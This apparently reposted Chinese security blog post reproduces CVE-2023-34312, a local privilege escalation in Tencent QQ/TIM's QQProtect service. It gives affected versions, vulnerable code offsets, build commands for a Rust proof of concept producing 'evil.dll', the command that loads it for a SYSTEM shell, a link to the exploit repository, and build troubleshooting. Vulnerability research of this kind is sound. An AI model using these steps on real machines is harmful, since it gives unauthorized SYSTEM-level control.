【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

admin 2023年6月29日23:34:44评论256 views字数 3024阅读10分4秒阅读模式
【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权
腾讯QQ/TIM本地提权
受影响的产品:
  • QQ 9.7.1.28940 ~ 9.7.8.29039
  • TIM 3.4.5.22071 ~ 3.4.7.22084
受影响的组件:
  • QQProtect.exe 4.5.0.9424(在 TIM 3.4.5.22071 中)
  • QQProtect.exe 4.5.0.9426(在QQ 9.7.1.28940中)
  • QQProtectEngine.dll 4.5.0.9424(在 TIM 3.4.5.22071 中)
  • QQProtectEngine.dll 4.5.0.9426(在QQ 9.7.1.28940中)
一、总结
腾讯QQ和TIM是深圳市腾讯计算机系统有限公司开发的两款即时通讯软件。它们都有一个组件QQProtect.exe,位于%ProgramFiles(x86)%Common FilesTencentQQProtectbin. QQProtect.exe作为名为QPCore的 Windows 服务安装,并NT AuthoritySYSTEM在系统启动时自动运行。组件QQProtect.exe及其依赖的DLL QQProtectEngine.dll均存在任意地址写入漏洞。低权限攻击者可以结合这两个漏洞在QQProtect.exe进程中加载恶意DLL并获取NT AuthoritySYSTEMshell。
2. 漏洞
第一个漏洞是QQProtect.exe+0x40c9f8处的代码:

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

其中a2是一个可以被攻击者控制的指针,dword_41a740是一个全局变量,其值为0x00000001。因此攻击者可以在任何地址写入该值DWORD(1)。


第二个漏洞是QQProtectEngine.dll+0x3B4F6处的代码:

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

其中v3是可以被攻击者控制的指针。因此攻击者可以std::bit_cast<DWORD>(ptr) + 4在任何给定地址写入该值ptr。


QQProtect.exe由于QQProtect.exe没有ASLR保护,攻击者可以轻易篡改驻留的函数指针并利用ROP链执行任意代码。


3. 概念证明

poc代码是用Rust语言编写的。您应该使用i686-pc-windows-msvc工具链来编译它。

$ cd poc$ cargo +stable-i686-pc-windows-msvc build --release --config "build.rustflags = ["-C", "target-feature=+crt-static"]"

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

你将得到两个 DLL:

targetreleasetinyxml.dlltargetreleaseevil.dll

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

然后将上面的两个Dll放在%ProgramFiles(x86)%Common FilesTencentQQProtectbinQQProtect.exe一个文件夹中(其实这个放在桌面也是一样的,CMD直接进入桌面目录就可以了)。

C:UsersadminDesktop>copy "C:Program Files (x86)Common FilesTencentQQProtectBinQQProtect.exe"已复制         1 个文件。

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

NT AuthoritySYSTEM最后用一个命令获取shell:

$ QQProtect.exe <PATH TO evil.dll>

复现结果:

C:Windowssystem32>whoamint authoritysystem

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

第一个复现遇到的问题(更换网络):

C:UsersadminDesktopqq-tim-elevation-masterqq-tim-elevation-masterpoc>cargo +stable-i686-pc-windows-msvc build --release --config "build.rustflags = ["-C", "target-feature=+crt-static"]"    Updating crates.io indexwarning: spurious network error (3 tries remaining): [6] Couldn't resolve host name (Could not resolve host: index.crates.io)warning: spurious network error (2 tries remaining): [6] Couldn't resolve host name (Could not resolve host: index.crates.io)warning: spurious network error (1 tries remaining): [6] Couldn't resolve host name (Could not resolve host: index.crates.io)error: failed to get `rhexdump` as a dependency of package `tinyxml v0.1.0 (C:UsersadminDesktopqq-tim-elevation-masterqq-tim-elevation-masterpoctinyxml)`
Caused by: failed to query replaced source registry `crates-io`
Caused by: download of config.json failed
Caused by: failed to download from `https://index.crates.io/config.json`
Caused by: [6] Couldn't resolve host name (Could not resolve host: index.crates.io)

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

第二个复现遇到的问题:

error: linker `link.exe` not found  |  = note: program not found
note: the msvc targets depend on the msvc linker but `link.exe` was not found
note: please ensure that Visual Studio 2017 or later, or Build Tools for Visual Studio were installed with the Visual C++ option.
note: VS Code is a different product, and is not sufficient.
error: could not compile `proc-macro2` (build script) due to previous errorwarning: build failed, waiting for other jobs to finish...

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

这个错误表明 Rust 编译器无法找到 `link.exe` 链接器,而它是 MSVC 工具链的一部分。这通常是因为缺少 Visual Studio 2017 或更新版本的安装,或者没有安装带有 Visual C++ 选项的 Visual Studio Build Tools。可以直接参考这个:https://learn.microsoft.com/zh-cn/cpp/build/vscpp-step-0-installation?view=msvc-170

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权



项目地址:

https://github.com/vi3t1/qq-tim-elevation



感谢您抽出

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

.

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

.

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

来阅读本文

【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月29日23:34:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权https://cn-sec.com/archives/1843208.html

发表评论

匿名网友 填写信息